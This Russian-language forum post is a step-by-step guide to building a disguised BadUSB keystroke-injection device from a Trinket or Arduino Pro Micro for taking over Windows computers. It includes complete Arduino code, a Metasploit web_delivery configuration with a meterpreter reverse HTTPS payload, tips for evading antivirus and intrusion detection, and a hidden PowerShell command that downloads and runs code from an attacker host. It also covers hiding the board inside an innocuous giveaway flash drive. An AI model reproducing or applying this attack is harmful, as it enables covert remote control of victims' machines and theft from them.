Взлом компьютера за 3 секунды. Делаем USB Rubber Ducky

Тема в разделе "Разное", создана пользователем Парикмахер времени, 19 ноя 2017.

  1. Парикмахер времени

    Парикмахер времени

    Сообщения:
    97
    Баллы:
    6
    Этот материал представлен только в ознакомительных целях, вся статья лишь шутка, и ни к каким действиям не призывает. Помните про закон...



    http://telegra.ph/file/f3670b6b481abd2f36aad.jpg

    Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это https://hakshop.com/products/usb-rubber-ducky-deluxe, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.



    Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.



    К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include. Вам понадобится установить библиотеку, следуя https://learn.adafruit.com/adafruit-arduino-ide-setup/overview инструкции.



    #include <TrinketKeyboard.h>



    Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

    #include <TrinketKeyboard.h>
    void setup() { TrinketKeyboard.begin();}
    void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500);}
    http://telegra.ph/file/e83d65842d5330dd2eb18.png
    Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

    #include <TrinketKeyboard.h>
    void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300);}
    void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0);}
    void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter();}
    Отлично. Создадим эксплоит во фреймворке Metasploit.

    ______________________________________________________________________

    Будем использовать модуль https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.



    Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.



    use exploit/multi/script/web_delivery



    Нужно сказать нашей программе, откуда брать бинарники:



    set LHOST 1.2.3.4



    Дальше указываем порт, который не вызовет подозрений, что насчёт 443?



    set LPORT 443



    Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.



    set URIPATH /



    Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.



    set TARGET 2



    Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.



    set PAYLOAD windows/meterpreter/reverse_https



    И наконец exploit.



    Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.



    use exploit/multi/script/web_delivery

    set LHOST 1.2.3.4

    set LPORT 443

    set URIPATH /

    set TARGET 2

    set PAYLOAD windows/meterpreter/reverse_https

    exploit



    Получаем полезную нагрузку для запуска на компьютере жертвы:



    powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');



    Теперь можем запустить это с флэшки.



    #include <TrinketKeyboard.h>
    void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300);}
    void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0);}
    void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); delay(100); pressEnter();}

    void loop() { // nothing happens after setup}
    Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

    http://telegra.ph/file/003742c53d4be66dbfdcf.png
    Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. https://github.com/beargun/Adafruit-Trinket-Gemma-Bootloader отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

    ____________________________________________________________________

    Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал https://www.amazon.com/CHENYANG-Ultra-Adapter-Connector-Tablet/dp/B015GZOHKW/ классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.

    http://telegra.ph/file/c86eedb6765d61364fe1e.png
    Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

    http://telegra.ph/file/130a630349213c68dfef8.jpg
    Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

    #include "Keyboard.h"
    void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(30); Keyboard.releaseAll(); delay(100);}
    void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); Keyboard.write(KEY_RETURN);}
    void loop() { // put your main code here, to run repeatedly:}
    Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела.

Поделиться этой страницей

Top